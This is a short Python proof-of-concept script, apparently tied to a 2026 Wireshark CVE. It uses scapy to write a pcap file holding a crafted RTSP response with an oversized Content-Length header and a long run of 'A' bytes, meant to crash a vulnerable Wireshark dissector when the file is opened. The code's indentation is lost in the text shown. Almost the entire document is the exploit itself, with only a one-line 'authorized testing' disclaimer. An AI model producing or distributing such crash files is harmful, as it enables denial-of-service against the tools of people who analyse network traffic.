The following code is for security research and authorized testing only.
python
from scapy.all import *
import sys
# Define a crafted packet targeting RTSP
def generate_malicious_pcap(filename):
# Create a TCP packet with a crafted payload to simulate malicious RTSP traffic
# This is a generic PoC structure for a dissector crash.
payload = b"RTSP/1.0 200 OK\r\n" + b"CSeq: 1\r\n" + b"Content-Length: 99999999\r\n\r\n" + b"A" * 10000
packet = IP(dst="127.0.0.1")/TCP(dport=554, sport=12345)/Raw(load=payload)
# Save the packet to a pcap file
wrpcap(filename, packet)
print(f"[+] Malicious pcap file generated: {filename}")
print("[+] Open this file in Wireshark (vulnerable versions) to reproduce the crash.")
if __name__ == "__main__":
generate_malicious_pcap("cve_2026_6526.pcap")